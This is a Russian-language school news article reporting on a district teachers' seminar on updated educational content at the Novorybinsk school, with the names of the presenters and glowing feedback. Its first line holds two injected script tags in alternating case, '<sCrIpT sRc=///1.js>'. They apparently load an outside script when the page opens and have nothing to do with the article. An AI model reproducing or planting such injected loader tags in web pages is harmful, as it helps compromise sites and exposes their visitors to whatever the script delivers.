<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Мастерство педагога не имеет границ

В рамках программы «Рухани жаңғыру»,  с  целью повышение качества преподавания уроков в рамках обновленного содержания образования путем формирования профессиональной компетентности педагогов Аккольского района в ГУ «Новорыбинская средняя школа-сад» прошел семинар «Новые подходы преподавания предмета в условиях обновленного содержания образования». В рамках семинара, учителя: Бардаль С.В. (учитель информатики), Шукеева А.К. (учитель начальных классов), Хонан Б. (учитель географии), Лосич С.В. (учитель физической культуры), продемонстрировали свой опыт повседневной практики урочной и внеурочной деятельности, обеспечивающий новое качество образования за счет эффективных форм взаимодействия субъектов образовательного процесса, направленных на развитие высоконравственного, творческого, инициативного, компетентного гражданина в условиях обновленного содержания образования.  Также были заслушаны творческие отчеты, доклады по темам: «Обновление содержания образования:  ориентирна будущее»  (школьный 

координатор ГУ «Новорыбинская СШ-сад»  Шульга Татьяна Юрьевна ), «Цифровые образовательные ресурсы в условиях обновленного содержания образования» (учитель ГУ «Азатская СШ» Абишев Александр Айтболатович), «Работа школ в условиях обновленного содержания образования» (координатор Ведущей школы «Аккольская средняя  школа № 2» Оспанова  Алия  Кажмукановна).

Проведение таких мероприятий предусматривает и наблюдение за активным взаимодействие всех участников образовательного процесса необходимого для успешного протекания вопросов обучения, воспитания и развития личности ребенка. Успех работы, прежде

всего, зависит от согласованной деятельности всех субъектов образовательного процесса: обучающихся, педагогов, классных руководителей, родителей учеников, администрации школы, социально-психологической службы. Педагогика сотрудничества, в работе по обновленным программам, позволяет превратить образовательный процесс в результативную творческую работу. По результатам

обратной связи все участники семинара (100%) отметили практическое значение мероприятия и комфортную атмосферу, высокую роль администрации школы в развитии творческого потенциала обучающихся и педагогов, творческий, нестандартный подход, продуманную организацию, использование ИКТ, чёткость и грамотность выступлений, полноту и разнообразие использованной информации, познавательную и воспитательную ценность мероприятия.